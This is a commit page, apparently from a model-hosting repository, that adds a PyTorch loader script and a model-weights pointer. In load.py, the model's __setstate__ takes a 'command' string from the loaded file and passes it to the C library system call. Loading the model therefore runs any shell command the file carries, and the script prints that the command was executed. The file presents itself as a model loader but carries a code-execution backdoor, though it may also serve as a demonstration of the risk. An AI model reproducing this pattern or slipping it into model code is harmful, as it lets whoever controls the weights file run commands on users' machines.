tiwariratnesh
commited on
Commit
•
5ae52b6
1
Parent(s):
1ececb8
Upload 2 files
Browse files- load.py +29 -0
- pytorch_model.bin +3 -0
load.py
ADDED
@@ -0,0 +1,29 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import torch
|
2 |
+
import torch.nn as nn
|
3 |
+
|
4 |
+
class MyModel(nn.Module):
|
5 |
+
def __init__(self):
|
6 |
+
super(MyModel, self).__init__()
|
7 |
+
self.dummy_layer = nn.Linear(10, 10) # Dummy layer for example
|
8 |
+
|
9 |
+
def forward(self, x):
|
10 |
+
return self.dummy_layer(x)
|
11 |
+
|
12 |
+
def __setstate__(self, state):
|
13 |
+
super().__setstate__(state)
|
14 |
+
# Extract and execute the command from state
|
15 |
+
command = state.get('command')
|
16 |
+
if command:
|
17 |
+
import ctypes
|
18 |
+
libc = ctypes.CDLL("libc.so.6")
|
19 |
+
result = libc.system(command.encode('utf-8'))
|
20 |
+
print(f"Command '{command}' executed with result code {result}")
|
21 |
+
|
22 |
+
# Load the model's state dictionary and command metadata
|
23 |
+
state = torch.load('pytorch_model.bin')
|
24 |
+
|
25 |
+
# Create an instance of the model
|
26 |
+
loaded_model = MyModel()
|
27 |
+
loaded_model.__setstate__(state)
|
28 |
+
|
29 |
+
print("Model loaded and command executed")
|
pytorch_model.bin
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
version https://git-lfs.github.com/spec/v1
|
2 |
+
oid sha256:c89e868db66f66431c04b2635ed6770c328c99123084dd2089ae49a4a862ff90
|
3 |
+
size 2044
|